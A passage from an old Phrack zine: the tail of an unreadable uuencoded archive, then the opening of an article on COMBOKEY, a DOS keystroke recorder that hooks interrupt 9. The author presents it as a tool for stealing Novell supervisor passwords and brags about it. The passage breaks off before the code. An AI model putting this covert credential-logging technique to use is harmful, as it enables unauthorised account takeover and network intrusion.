M,$A#81#9F"#="M+64.G61D`':6,JW\$B^A`W*?X*5D.I5YM2+:Q"*;=9"K96
M3.T.(T(SW?4GS6ZJ#FU)MY["\#:YA\F(J\M7+]]%V2[9W;QINHX_KN)XG<-=
M]#&YV]]!Q@+#FS2#XC;)X3Y+5V4SZB?]/:^R\;!,8/L'S\37G_5#-2&N?23\
M_WF#M:FOS3M#!0`=Z]&5('4L_6()AN44;=RH,LR?/8Q`L8PL:8]G;_#:XA_R
M^G!Z7O_0T8V0R.S(]A(TN,;XL5*$E5_^_9!;$_;LFQ_^-F[]TML1]ZMO1Y[#
M(72!0L)$BQ"P;;J,K#"BX9!KJ)592([*/ZE\T6TZ_9.P;VSVC>-T,`?S-_[_
M:1^ZI7-=SP/?#P(@A%:JLA(/S>RX+IT%SZ-_^C[],PC:.0K=CMGQGCD[-MT'
M6K;L5K.B$@V=4ECC%,[*OFXY%W+WZXJY7\S5Z2"Y*Z_BA(HJP%6^I]S7/OY0
ME]RR38$=TA);7'52?6[2(J5_3RZE*H<2ZE_[NWLH'R8EY4FT3?[B"C1+]T6R
MZW"Q7:NKI(4H@\!EQ6U<OQV'"<V&%_?[_%;W])1[`UGEP>=\-MSRK3[V8BZ:
M?RD!`K8AM,9*4*E]11,G8!O%LA_LUACZ6?!7`K!IA0>NL:D_JVB[K:;KHC^Y
M%`T<?7(7)3N>>J9!I<.+Y,*+^_1>^Y1Q49%FRN2%8(T57TV="2'<P':@+/Y_
M:"::J`,K]+3&'8ND!!]8#6=)VF-?J4D;`B[M8_5#]2>+BTT2(TPV/^63?;:#
M39;>M7/^7[#:QE'69OWU$]_E?+HZY].2I/>T2HQ$E3JCBHM**%OR$S:NLCWQ
MY2EGM4.UB%_G&_9EQ;%-><DI]%=4]S7+#M?1[@\@')3P'#BN(6K8<YL]K`MU
M4*<P9+/R4)>]%,E=S%43L<&QQHCC/4MDC>T#\Z(((33,:KVN(*OL<D8+1_*X
M*)+=#6=1XO`,&2[+P=R&JRM/V5Z'UFX(V'59)=O8.]:9Q%ZL,D=+*?TTE"[B
M@E6;0Q^660D8%3&<TZF(*X(]GFG"Y3F*HD!5PP+!%7Q1P\N4^Y1R2699I8Z1
M<J)0/C!0'O`TEE*BHZ%<W-)CR@<FRD,@-N9BX3S/]>I)7&QQT!Z4P)@_`I&+
M&2H^$E)S,?N>`?4I$%ZW4`'"IR%J(/X]0QI0)#R/DF`U2/(\MD@#CC0$Q[*D
MV`0K"L)K;:W%)A2).%6@J4AAE=Y_XG`CFCJ1`CNL$@@O,([R"`M</V)P8TJ=
M-*NL_$>A;H6IXPJ/6B1:+185\%W9ID2G`3J&?,93P;@,"!.*#[L(A-)'%,JV
MZ&(@DR!HO7HQ\*&&1BL7^!`#YSL;1U&;TI_A=$8+7ZM&JM[V!8[_'+UMVT!<
MN3B>U^\@4)Z//&I2B%P!-%E*E"9DH215//WP>>)INV"%"K$]<24W#XQ8^;S*
M*:<PW<6,CR'=2.=4&+17%5:@HB+,)/BTF<`DE-_N4VKOUW2AKS]5;/.EM[;>
M5]_:LAB8U<<R(YQ"3'9\_529F>Q6&1TA>\2G@RML.Z"02'8"6X%49:>!1+(S
M$]%#L`98&P4M_ZWCU2;_J]%&1VTF8A17Z+4VVN^*9`M)\;J1SA[8H2RBK%X*
M[Y$::6VPWZ80[=9P$Q>0TSSL'645IDJ_X<A]C4@'WC-%>@#$QE(2J):Q$NDF
M-UU;#+6(L)7J(1"B0`O:0H9NLO8H_#Y*\JINJH0<:11%\%Q%08U)ST*@DJ*H
MW1J+>8Z-0U85#$@EI0R1&1$I]R#IBU8_R.?"!/U0/3*7QQ"NYQV=?Q[:4&_K
M/HLI'`(D#-'*"9U<%YM\):Z<$,R.5W]`LM%D4*@)8.`VV*$0;*V+K["`2!M3
M/CE_)/<*=D(#(7?WVYAJ4H;O:#A:\*[,',T/+W/8"I-%>6N&=EP-0PO>UF<P
MM.-I&#I49>1)#.WX0(9RZHL76PG+ES,Z61[LJ#Y@52\?W0;J,F`LIJ19.S4`
MI*[=9`.[M`"6O/TW#09=1V5/5-\]1(FH\%@W(5BDAP8@2&CK.<F)/*U2:HGO
M:9S&GN2#&IQ&'F]+<N8WQFLJG\PUH+XC0^[+TU`7A&%YUWEZE;PC:]6F,4OT
M`5BAG*_E16'(D<')VU-X&Q>PT29L2]2AS!1U-9E*,W:/!)K9(X8VTJBAWC-M
MDS,&XF%YZZD^[`%Y:^IN2\0S(`Y6S#U5W+CV/6J*W4\;H:7AL3I*P_>NK@6.
MN%>MJ]`4MI+;T).0T4VR@LO]W74Y[G\25>X8/-'QEF2=JG62#Y!*Z\0>,30:
M)NG+GH^8`&J(C:).8FT#L8Y*+!%R6T\DU@7B(A8E0FQ<6?\&;?PQ7NV+6$.@
M!R1`#$"$@&P-J3)`Q47R^D<W4;+CWIGKJYJ<"`5^GZ7)78V^)4+EO%G?U@?5
M62AWFZ;WWW16J/'>0FKV\>0$392X-OO5Y#0'CD2[H?A"+O6'73F0(!K1-F?`
M.K$ED]&:B[)1TX+!]L&1@YE5N9OBM%F/=-K<@>JT$:&'ISAM)=I0.4?.ZNB$
M>#"-^G85T7$<7!Y25<W)DZ%QBVFYW/-X;TPW^[)>HU5U6%18].FHK0SCFWVQ
M^(M=DL`@SRB#R>$I5H:'_$H6ACIJZ\($OS)C/EJ2`SUK13$]FI/R$'\)U7LU
M?UU.I2*SQB4Y@IRZE1PWC__<Q[L5UQ4>H0$$>2='!#M<VUTUOD?M+OOVEVB[
MK\!H^K8GQTZ)4#(E)G'D+%S#7?P1`W/4R".QK:=''CU7M5U$V+R:;==B?UUD
MT:J`[\I'+'<AD.>!9<L50R5JJ[?S_74[UB-+0*4APT:5L-(UMBXGO`J9A6S)
MR'+HB@]:9$%][_Z"=K%MU?_\*\[25J-4//'EHR[^?R#JXH74G97+7XBM1N-Q
MC3QU9YE/2"-<MU$.WY4M:-B2NX\,NB>[,!Q:#<>K'B=GULU^NX4/C/<1<!^(
MBW8FQ-9Y='AGP@.(.K?>&P!1]+8=-#R`?#K1:C%AD`Q!BZK3WT)-4Z6_-2FJ
MBR1GIV#ZJQ7=0R;Y;;P^JML7*>3Q;MUQPP;A14HE!2.-^G&L1I$]3?V,9:^1
M@ZF.&2[7I!5/]Y\@*2CEU4.&1R,</7DO11QUQX-+(R4\_I#"^1:%0TI<*%<2
MX>3:"`3'[:%/P!&3%1Q.(QIR&U9#&JWA'3PDQ2U\YW-#Z-M4G>&Q>EIU1B1U
MUBK)$JI1DM60'2`]ILJ"88LJB`+79#"<CT=B-05390DS@?&?^VA+1]Y0Z@$)
M%4QQ>V/"3#.XR>*HB+,C*&[C'3>*)33?.$;E,]Y#`-9062A!++CAT2S4/&5I
M.?Z`JIZ\B.\A2VYNN?OEASKDWI=`[FF0:6')\Y&I$VHA0R=4I31\MA&;*'RV
MX6`#L#R%S):@:+=N9>"("&#]W;JBD>&]DW.?_I"&#S"N&CY0AR\2*0C7")PQ
M"J,0MQ6N:+TVA%'ZZW;,5>3$'ZOI-B*431Q*MZVIFUF7+PBY-_^,*D\+X?K*
MH-4,#56>%)4%>'09&I;IL:R>G,$G0KF%J*U$I[SQY8K:G7,X'E57\@&&$D\3
M04!G'!`;E8\9FDWY"*]/3\M'1,M'!`&VFBIL`#U+T534,$VQILKXS7%)7KE>
M3*_DM\FF8+M2WH$'U@C/IT>@1*-I%LBVK8"B^61`_/M&/K?QAHMGX-,T#YH)
MH=*B3O.H,\'2/.P0#I\/GN6A(^#`=%LN9%XXL*/L.>H!&-S0++Z/HZ))(4%2
M)7J"$,B9,A]N,\%U_):-^ZB]<4O8)M$OTTTU,S1P607?@QX0=/2^A%:#X^JF
MCCM+\IF>$J^O<;XTA15/<[Z"@<;Y$BHKOI[SY87<^0J&0,[P3M7K-9:S7H)V
MI\J/&0E+T)XIJD,.2=YNA8,1V"%6?(([(FQ;W\TEH>I?TVL%'AAP>A]7I>@)
M8ZQZGQ2,@0PQ^4*YA4J^LM%N3UO)=)_IZ+:_$-VA!58?;SR$ZHLFDZQL/)JT
M+]W:T-L6U(AW2#2;#Z$>X_&;C^.&4T-;P_^^*D]/X__0T?"_4+SQ]?B?7\;"
M3++J0?MALZQ/\Z!#&A#`NP^A%*/VH/D&H]7$.@]:V(2$OIH8(7(9AB$Q(A(I
M;$_#0$.G4,CP"#HK-(74$,B0V="P#5P(]0S7.^XME:^/15<-V=!=?!/1,XE'
MC+WI-SR]P[KH:U2[4-3P5-4>ZO;5@=N0^)FLK=M7"Z;TZ[%VX,.+KQ#J"?ZN
MH^Q")477"67"KY7YTL,.GSCLQ:\7@^DY+/N#<S:H\_Y@+-]IC3[-\/%MR-K#
MT"%4#=7:.&W#12<@/YW-&W8"\H/'M*%\(8WA)GS:$-V?9>Y:O@3"<#\_;2C?
MWZ-M:+&&\N7/VH:]LB&.`6E/)].&^#"LL6M\1:BY(;J`Q_`K"*QA]\+PH_EE
M0W0,WMPU.MK>V5`\>*UM.*P:2BD'TQ+B4^I&-L-Q&^U%4;1K?&NIL6M\6:JQ
M(2Y=,'(/OB79*(4X!]R)*%;*:4]V<AKE4H6.KA\IA?@J%B.;X4H4K<S0RFI\
M&;"1S7#$P]@U]FZT78>\H>1;:,O**(WXCC\C/^+HB7$P^$"8X:<;:$,YN:I%
M'/"&AY?0K1J*-[\9UQK?GVD4!7QH2GOX)FP;=O`X2]VRAM*I-?-@YC-XU,K@
M.GKMA-/2'7RYMG$)#PRY/D)=-GP,(J41WW!M[!H'E@R7Y_&&G0H76%KE2_M"
MO6?X0G#,+G)/=OMX_32_".<XM8,=\%F1MN):N:?<A0\R&24`7Z%F7#E\(UH'
M8N>@6P<*_T2#MB%E;'P?M=&5P+]`I/.AS\ZJABH+&!I*L1>UH=,TQ/?6H(9!
MW5#Z51_SA*-#O.:&Z"R1X?HBWK!;H"O]B7\'Q2CW^.I5,XV'?+R&>]"%J6;N
M07>AFID"78UN;(BO,NYJ>-B\6*RA?*^H<1[Q#7UF1!2&UNI/NM;X<G`C4^`+
MOXU,@9/3QB7$U\D:32"^C]E,([J^VL@4^,Y9(R+^N23C6N.LM];Z#JN&W:S+
MCL[QAOC<L])P7#4\I`#(6=50O!%'ZU4W#84;>;0-6=>/L>=T"?'Y4^.$X^.>
M1C;#OR=CE!G\NQ]&?L3W^1L'@Z^R-"+B6RF-_(BOES2R&?XY$F/7O\&A#^OZ
M"_M%Q/I;_"+\&QO&>:;_NQA?3.>_PM6"$GS1G\'WK]^_AI_@*J?!17A]S/Z#
MU4O]P,NN+`O>P/OCX^/W]:?\-[Q'G\-?5*7C;S[C50U6E3Q!:)2R8_0Y_`7%
M&E*LI[^JP:HNB.*4T6E[%IK-Y^SIK^HI(Y8P9\]#L\F7I*R_W4):W,89W'%A
MN:9W,^:P9ZQXPIF7W2=+TWAO&%<W]]/D[`MBOWIY$>=Y=!/G38M7+__Q?U!+
M`P04````"``SH"T=Z\G1\\0```"U`0``#````%1%3$5#05)$+DY%5'V0,:O"
M,!1&]T#^0T8=`KUIDG;5H%!L;:%]4!"18`<'!:E._GIS;WC0E^$1T@SGW"_Y
M>N+,0=@.5&8Y4TH\]YS%=>8,L?H7_X3IOJVAY*RK'%A7ZD0(\U7?%B6$@/[A
MY_?5SY/H_/3Z*XXAJ:EK'0XMFMM'C'+P]X6SXNRX&RY9E@'&2HVW2X,-Y`8?
MBM_UTE/D*?*@2&!.T$08LW2B:%)L5/($&H(%P:BDAB6C));>'N?`8&]YH`[;
M1(F#^-O&WX)1^0)02P,$%`````@`ET`N'45;^#19!0``/@T```P```!414Q%
M0T%21"Y00T)]EDUL$T<4Q\=Q`B8RWIDE+16BE=M#A%8">9?%F`]5@7RHII!8
M2<I'9;5RXMDUK1L[MBL$JBH5H0KU8%7@0\FA5"B'7%I5:EI%%6DIAU4/'#CE
M@M43H`I!#S2TE@A6YZWC]1L;:FED^?=_[\V;F3?C=_8L.44V]QZ83,W8N9V)
MP</AX?3'TZG2Z=Q,*AL^;NS2]?`$+YSFQ7`\OKGW^/#X1'QL-*R'S?#ATS.I
MPMG-O=O("S\^/_F?CR](M.#]Z5+?NR7X]AO$3]XQB$(F/DH52M.I0CJ<2*6+
MQ$=(@,0GQO;&]"CY@?X[6U<NYX-;/BUV$>+7P$DGFT@B/JA'!V,FF&\@$V-'
M]1BYSE;Y,GV2?J;>M03V[Q3&)W42)&;X6.9<^.3.R52V87_LZ%%3)QFZRJM*
M@3^@J[9(W;]#V`_J0C:,<'X$+#>2P4'=B$2)H:SR[T/O\PW4MKJ;IL8+3!WK
M^Y!N;:#[[!Y"NOM`[?J&5'N(S_=/*)!W=Z/[)=)%3-(U27X76^.;8JE98;7.
M=WN\3C$W/#XG<=WC48GO0?%_+;1X%,7'?"^*CWD,Q6_RE\4.Z!'2M8TD0+BA
M7K<(K-1UV(?X`&]PUT'WA++GX`J&)R2E2#'DT(RTGJIG+\VPVQ,T>0;3$VI,
M$O9X@B,+44^HR$)K\BE9:&4;87@549047L4>E!/F)DH)\]TH(\P-E!#F.LH'
M\T.D:X:,`,_0WT2>_G7^-N*KO,6%_0`9``X70<!U?MCC2R_DCHC?\YPXZWR3
M(B[H064T7Q7#O1HN&5&&!!E"9(>R7Y#]$HD($I%(OR#]B$#A3[%$$9-$L2:1
M&@O/R@2N19V>E\CYHJ9BHJGA69G`I9FCBQ)9+"953)+"2R9PI:+TOD3N%\LJ
M)F7AU4YNYH#BR-_EDA+1U/F<)I$:F\_!:O%N:+.-QP>3K!AX%4Z^\>"T2"4/
M%).I/%"9K(C1(K<Z2%DM9<IJ,HMSOIC1U#<1J;&+F1K#1%//V9KZDXUM;ELU
M]A4B4*>-&FN27\2O(Q2316'SGEOG35)AHU:%?8ULZA3(*")?TNL6T!9QQ/^.
MPQ80^80"P9$U];8%>>/S&K>3:AF1-35KK:D:(O!::&H$14ZJ1WA2K:/(:T('
M3^P%1/8:M]?$P%Y:&RFK%^S8E@M2AG4>VX+G@E_M-A]DDNI;TGF5[1J[E,'Y
M7!/G]3,BL.ZD.'MY]K)$H%H<AJO%8==L1XKLL+E<N\VEC,-,E,\4NR`J_#&J
MWJKRN(/`N]%.*@R_)!6V_\,*NX$B5]@?-E"\]EN\)E7"`PKD%MK#![2:!BH3
MAU73>!5`CDB5.<`K;$XB<Z(V,#&4Q73C?6[%*=NP:]+MMH%BXEA`<>1K8EU_
M(M+/3+LBQ3$4TP:*B6,!Q;NQF*ZQ:%N&0'&&9A9.$<]^(ROO?(UI67BY<$69
M64V\=[BBS&Q2(O"NP"O9(I'@9&FF;[+4(C-]#Z=E$@D^G`8[F8"=2P*OB>9T
MU_CPR-#P!#E(2##030\6ZTJT>)ZZ'6I@NV@*=TV>2@PWY"B]DH]0:&#OY#OD
MWD"<S?,A=I4_4^]Q7T=X7V^@3@=$3WN`^]FR:X#]A7R/WN3S=+G9PG;ZORH,
MJLHR?X/NL\#@%?=?WI4^HV?X`"WPS^D2[_05R1&EWWH:>MTZI[A-;WON1#G#
MG[H]\1+O7@]]J"']&+HCVN45_BBTW>J0OA7M\8+U*/27U?.\H'$Q)W3/7[CR
M<Y*J"8._15)N>[TQ0`+=Q.ULMK(GZ3J%$>);68@+B8$DUG:5;K=T=URQKHK1
ME,0XH:SP$XIJ77;'BN?5`]*"=4*Y*S",!>L_4$L#!!0````(`/92,!W$D[.D
M0PD``"#(!0`,````5$5,14-!4D0N4%).[=V_:B-''`?P75RH":<'D$%="E?.
M'80+!)L+^`72I$^=PAQ7.EB0%].CZ!%4JC#:Z(]]EG=G[;E!N_9Z/M]"K&3D
MXE,,W]%J?II<37[^Y^.O7S:/OUQ-SKY].C__<W+V]?S+Y.SOCY]_^ZN0YW/O
M=%L=-:OBO843IPZ<KH_[7S\7G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#C]D%/+-WTX<>+4H5/SE6U&G#AQXL2)$R=.G#AQXL1I<$Z-
M/?"<TS4G3AT[+6JOE'-.UYPX<>+$B1,G3IPX<>(T1*?R8`^\Y,2)4S].\\.G
MG#AQXL2)$R=.G#AQXL1IN$XGNSWP7<&)$Z<>G6;;RU-.G#AQXL2)$R=.G#AQ
M>MM.FQW>?U6U'E?5ZK*J%IPX<>+$B1,G3IPX<>+$B1,G3F&G_9WB-2=.G#AQ
MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)TXP3)TZ<.''BQ(D3)TZ<
M.''BQ(D3)TZ<.+V_>3VA<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$
MB1.GMQU.G#AQ&K+3M'J2!2=.G+IW.GWZEP4G3IPX<>+$B1,G3IPXO?%S0`M.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXI3E?-]R;E[/-2=.G#AQ
MXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G%X_G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$Z>FTZAZS+S@Q(E3+T[-MRPX<>+4N]/!BL6)$R=.G#AQXL2)$R=.
MG(;C-*[:PXD3IVZ</@3?Y_,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$J1E.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)T_'#B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$
MB1,G3KDY/1].G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G)X/)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
MQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''BQ(D3)TZ<.''B
MQ(D3)TZ<.''BQ.GXX<2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.
MG#AQXL2)$R=.G#C%AQ,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX
M<>+$B1,G3IPX<7K-<.+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3IPX<>K;:<PISFG&*<9I-.<4XW2RX!3C5"XYQ3@5*TX13K/B
MAE.$T[RXX!1R.JEV6>Z=-JOXE-/+3N4RI4#EY[19Q1,*5!9.L_N+O=--2H'*
MT.DBI4!EZ#1-*5`9.HU3"E2&3DD%*D.GI`*5H5.94J`R=$HJ4#DZI12H')U2
M"E2.3BD%*D>GE`*5B=-^)WSOE%*@<G1**5`Y.I4)!2H3I\7^:N^44J"R=$HH
M4%DZ)12H+)T2"E263@D%*DNGA`*5I=.V0%6-W'&J.96;`L7I9:=M@>(4X11<
MQ4\YU9U^YQ3E%"3AQ(D3)TZ<.!6<.''BQ(D3)TZ<.''BQ(D3IW?GM"[O3E:C
MY7@QG5_.;HOUCFU[.VK[?8/M/:G=`R=.G#AQXL2)$Z<7G1Z^T\.)$R?K$R=.
MG+)V.N$4Y33B%.4TYA3E-.44Y71Y[^3S\>>=_N44Y?3TL"*G%J=RR2G&J7:8
MFE.+4^UP/J?O]X.WUX]S_VO#'CBU.-6&AW!J<;K@%.5TPRG*J3;K@5/8J5QR
MBG&JSZ+A%':JSS;B%':JS\KB%':JSU[C%':JU2=.+4ZU^L2IQ:D^*HM3T*E<
M<HIQ:HSRXQ1T:HR&Y!1T:HP:Y11T:HRNY11TJM<G3G6G<7C,&J>@4V/2**>@
MTY+3"TXMX<2)$R=.G(;N]'`^8\Z)$Z?>G(K'.0^<.''BQ(E39DZE\P@_Y.0<
M$"=.G#B];:>'7?""$R=.?3E]S]ZI"H03)TZ=.AT\MSYQXL2)$Z?!AA.G5W;R
M^7C3Z;&#S]UOX<2I'Z>#Q>G@FA,G3IPX<>+$B1,G3IPX#<QIMP%><^+$J??U
MZ0,G3IPX<>+$B1,G3IPX<>+TWIT:OP?$B1,G3IPX<>+$B1,G3IPX<>+$B1,G
M3IPX<>+$B1,G3@.X'_SD=TDX<>+$B1,G3IPX<>+$B1,G3IPX<>K$R;Q#3IQZ
M=VI](R=.G#AQXL2IX,2)4[)3U9H[3IPX=>.4&DZ<.''BQ(D3)TZ<.''BQ(G3
MD,.)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQXL2)$R=.G#AQ
MXL2)$R=.G#AQXL2I4Z?;ZJA9%>\MG#AUX%0()TZ<.''B))PX<>+$B1,GX<2I
MB_PT.?OZQ^3J?U!+`P04````"`"*=B\=14[.>F0%``#,%P``#````%1%3$5#
M05)$+E,P,9682V_<-A#'[P;\'8B]-^'P)0DY!(JLV&KL]6)7Z[B]%(9K-#DD
M*=Q>TD]?OF;T('>UBP4$:H?DC\/Y#TGQ7?_T_:\?O^R>O[Q\>_KWZS-[@#>"
MO[#=R^O7EW]8UUU>]/7Z^OZ/77/3WM5]US"PO_KR8G?3MCWC]@=@*LE*84IF
M[/_=[RV34&@&7`.K5%4QK:MB^._RHN[[+5M=M;MFVVWZ[GZ]8F#8JMO=%Z4M
M['Y^?_[RAMV]?/OQ^I,U3Z]_KCS5P?CEQ:_[=<.DX)QIX/BNM'T79GB7,[NO
M+^E=BUE]Y=Z5>]_4VYY)X^I7]J%D91^%==%VIX,OWNTPGC`R].FAOMVW*U:Q
ME6)W-_]-QAUJ//;UK:^0L[T_9+%SU5VOZ_Y^ZVL\PLH.R8W0N>U^$FOVOVW"
M``+(UU+EO%8TSEB;;AV[=;/GIR24R-G)H-;UG44!9ZO[7>-')&(#&T0/LQW:
MD=O6JT_6K$MGMG5`E&2/0"`@G`@4"(0LL$8@C(';MNEK9'+$:0>.D6_75U$"
M/OI!![;(0%>2F8)K)HMC$H@J3F=W9O:!-EYVQ3P\^_<3>PDS^TP.>SL7Q@E:
M)CV1'(CKW0(S5'1!"+[Z^3=8$DM!^+C?M:X_$1ND00!K+DIGGD<]`#D!7:E8
M`CYL-LCC69Y$'L_R1(D\7UKD7:^O(L_73WDJ\D29YQGBF9/\:QKDF2Q/(\_D
MYU/0?+H2+/&NZK[&"159H,`)%7D'*8"^M*B8[:Y'!_,!+-'!`P$D!WUID=?<
M?D)>WK\">0?\HXP0)V7$YRWYET\(@[Q)0L15*62F4YHI<.E)5B6)&QF34+E%
M3`*3%;A%[-BJ-%LQW'(MM8Y+GU'C)6/8PX1@?W_$BHY;F>S:TM0;K.4>OCNW
MS6\;ZT19Q#U!:`9*LD*Y4=UVZ]8VD=8HK"&49*'#O$:K$=%3@SZ/K30/H2T?
M;6)#`UF-FAX/W@?G0XD[F(I.#+%S]K##B3C!$3:,1`RP!:74#C;9+B<L9Y;3
M[1+R2@!4@BI)">(<)8AQ@$]2`C])"3*K!#BF!$Y*@(P2@)0`&24`*0%2)0`I
M`<Y2`BPH`7)*`%("G*4$.*X$.*($VDQEP243IO+=%4P)2Z@.2F'3-6":4ATZ
M=>Y//8_NW7+B%B[IY9R5Q@"+FAUJ^F-@B3'R)7]>5TPN["<?;'>A96GG"+A*
M3B#<5;!3I]R.,C]V!EYQ!D_'(_5!'IZ#$YXAGCF#Y\Z1YAC/'8--CJ>)I\_@
M%:O8\A!/N@HYGB*>0EZQQ/,'GM#R$,\%6.5XM+K[D@KG@05>_&R0QX`NPC('
M%`04^(`3@$X0XAC0A5CD@+1J^=*)$:R=X.$8SX48<CQ./'X&S_G'C_'*54`E
MO!)7+5_R7T'*QG!!H1(SWG57B#FNBODNW'`4GR<\QX0_%2<PX?.X,J9[BJ//
M&E\Z%0>8[WE<$;,]Q6G"Z3-P_&VW[C'E\T@3$SY%*D+25VRQA/2?5+%E%J=C
MOJ<X23B).%C"W36W6TSX/$_%=$]Y@GCB]!FMU=MM[U<U<9@I8\:G3"`FG,&4
MF/)YG(@)G^(XX?@9.($9G\=!S/<)+G[B#"<55>%J,_[$Z=O'GKFQTF7@Y!:P
M<#H%&.XN/G?;-L;'D/;]K=[<@C%$BTX^)Q,+95*T^$.=\)X/MXG!4B679A/+
MY'8+.;1MC>XJAU$/CU%OHXT`XD(VL0QW=X-%3[],\A:\,\#>:`L/I=&,XGOX
M7AA9Z$9UN/$8>RKT.',32VBMIQQ!-Y#A9G88]<A2SBR3.Q[LC:XHZ+(BL=`R
MC;VIY`(@M:@HD[%V_"-O(56-+(.J@L^CL:FI930V,9FW$(7_`5!+`0(4`!0`
M```(``Q2,!V^G@!LQ@@``.P@```,``````````$`(`````````!414Q%0U)$
M,2Y!4TU02P$"%``4````"`!*4C`=CCHX#\L(``#X'P``#``````````!`"``
M``#P"```5$5,14-21#(N05--4$L!`A0`%`````@`FT0N'<0;&V`*!0``/!<`
M``P``````````0`@````Y1$``%1%3$5#05)$+D(P,5!+`0(4`!0````(`*)$
M+AW[.7CW$P4````@```,````````````(````!D7``!414Q%0T%21"Y#35!0
M2P$"%``4````"`!K4C`=UE#(="T(````'```#````````````"````!6'```
M5$5,14-21#$N0T]$4$L!`A0`%`````@`;5(P'=:1H<KU!P```!X```P`````
M```````@````K20``%1%3$5#4D0R+D-/1%!+`0(4`!0````(`$!#'!UNJ^N<
MP`0``&(3```*``````````$`(````,PL``!024-214<N15%54$L!`A0`%```
M``@`:U(P'2C2B*Y<````?`$```P``````````0`@````M#$``%1%3$5#4D0Q
M+D524E!+`0(4`!0````(`&U2,!TIRVCV9P```)`#```,``````````$`(```
M`#HR``!414Q%0U)$,BY%4E)02P$"%``4````"`!K4C`=#LVE_>8!``"G!```
M#``````````!`"````#+,@``5$5,14-21#$N2$584$L!`A0`%`````@`;5(P
M'=V65G;,`0``800```P``````````0`@````VS0``%1%3$5#4D0R+DA%6%!+
M`0(4`!0````(`&M2,!T#9[*E[!@```1V```,``````````$`(````-$V``!4
M14Q%0U)$,2Y,4U102P$"%``4````"`!M4C`=SK(OU808``"#=0``#```````
M```!`"````#G3P``5$5,14-21#(N3%-44$L!`A0`%`````@`,Z`M'>O)T?/$
M````M0$```P``````````0`@````E6@``%1%3$5#05)$+DY%5%!+`0(4`!0`
M```(`)=`+AU%6_@T604``#X-```,````````````(````(-I``!414Q%0T%2
M1"Y00T)02P$"%``4````"`#V4C`=Q).SI$,)```@R`4`#````````````"``
M```&;P``5$5,14-!4D0N4%).4$L!`A0`%`````@`BG8O'45.SGID!0``S!<`
M``P``````````0`@````<W@``%1%3$5#05)$+E,P,5!+!08`````$0`1`-@#
(```!?@``````
`
end
sum -r/size 61640/45861 section (from "begin" to "end")
sum -r/size 58373/33263 entire input file
------------------------------------------------------------------------------
<UUEncoded Part Ends Here!>.
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 12 of 18
COMBOKEY and the Simplistic Art of PC Hacking
-or-
KeyTrap Revisited
by Sendai
(with apologies to Dcypher)
NOTE: Of course I take no responsibility when you use this and get
kicked out of school or something stupid. Besides, why would you be so
stupid as to get caught in the first place? :-) So be careful, and have
fun. Don't get stupid.
WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
* At least a reading knowledge of TurboPascal and 8086 assembly
* A tolerable understanding of how the PC actually works or
* A copy of Queue's "MS-DOS Programmer's Reference"
* A copy of that yellow-spined "Indespensable PC Hardware Reference" book
ON WITH IT...
It was with a little dissatisfaction that I read Dcypher's KeyTrap
article the other day (so I'm back-logged a few issues, so sue me!)
I've been foolin' around with a version of this that I first wrote about
five years ago during high school, and well, I thought mine was a little
easier to understand.
So I'm gonna show you my version, actually explain how the damn thing
works, and hope somebody out there has their day brightened by using
this program.
Note that the only reason I wrote this thing was to record passwords on
a Novell net. It will record all keypresses, but it really has limited
use other than hacking.
Fun fact: With this program, it has taken me an average of about six
hours to snag supervisor on every Novell net I've nailed. And I'm sure
you can do better. ;-)
PC KEYBOARD HANDLING 101
Okay, a quick review for those PC newbies out there. When a key is
pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
causing the machine to look up the address of the 9th Interrupt Service
Routine. The ISR is typically in ROM; the interrupt vector itself is
not.
A key recorder is a program that simply latches itself into the
interrupt 9 handler by replacing the old vector with its own address.
By doing this, every time a key is pressed, we know about it.
ENTER COMBOKEY (That'd be the key recorder)
I differ with my strategy from Dcypher in that I don't bother going
directly to the keybard hardware. COMBOKEY just goes ahead and calls
